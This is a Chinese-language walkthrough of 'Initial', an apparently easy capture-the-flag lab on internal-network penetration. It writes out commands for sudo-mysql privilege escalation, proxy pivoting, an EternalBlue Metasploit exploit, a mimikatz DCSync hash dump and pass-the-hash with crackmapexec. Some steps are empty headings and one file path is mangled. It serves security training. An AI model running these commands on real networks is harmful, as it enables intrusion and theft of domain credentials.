Initial 仿真场景解答
Initial 是一套难度为简单的靶场环境,旨在帮助玩家初步认识内网渗透的简单流程。该靶场包含三个 flag,分别位于不同的机器上。以下是详细的解题步骤:
第一个 flag1. 打点
2. 提权
- 查看 /etc/sudoers 文件或使用 sudo -l 命令,发现 mysql 命令配置了 sudo 免密使用。
- 利用 mysql 命令暂时获取 root 权限,通过 sudo mysql -e '! find / -name flag*' 命令查找 flag。
- 使用 sudo mysql -e '! cat /root/flag/flag01.txt' 命令获取第一个 flag。
第二个 flag1. 内网代理与信息收集
- 上传 npc 代理,并建立代理连接。
- 查看网卡信息,发现内网网段为 172.22.1.0/24。
- 使用工具收集内网信息,发现几台内网机器,包括域控制器(172.22.1.2)、存在 MS17-010 漏洞的 win7(172.22.1.21)以及信呼 OA(172.22.1.18)。
2. 信呼 OA RCE
第三个 flag1. MS17-010
- 针对存在 MS17-010 漏洞的 win7 机器,由于该机器不出网,需要使用正向的 payload。
- 配置 kali 的 proxychains,以便通过内网代理进行通信。
- 使用 msfconsole,配置 exploit/windows/smb/ms17_010_eternalblue,并设置 payload 为 windows/x64/meterpreter/bind_tcp_uuid。
- 设置目标主机为 172.22.1.21,并运行 exploit,获得一个正向的 meterpreter shell。
2. DCSync
- 了解 DCSync 的功能、原理及攻击前提。DCSync 可以模仿域控制器,从真实的域控制器中请求获取数据,如账号的口令散列值等。
- 在获得的 meterpreter shell 中,加载 kiwi 模块,并使用 kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" 命令获取域内用户的哈希值。
3. 哈希传递
- 使用 crackmapexec 工具进行哈希传递攻击(PTH)。
- 通过 proxychains crackmapexec smb 172.22.1.2 -u administrator -H [哈希值] -d xiaorang.lab -x "type UsersAdministratorflagflag03.txt" 命令,直接读取域控制器上的第三个 flag。
通过以上步骤,可以成功获取 Initial 靶场中的所有三个 flag。在解题过程中,需要注意内网渗透的基本流程,包括打点、提权、内网代理与信息收集、漏洞利用以及哈希传递等关键步骤。同时,也需要掌握相关工具的使用方法和原理,以便更好地应对各种渗透测试场景。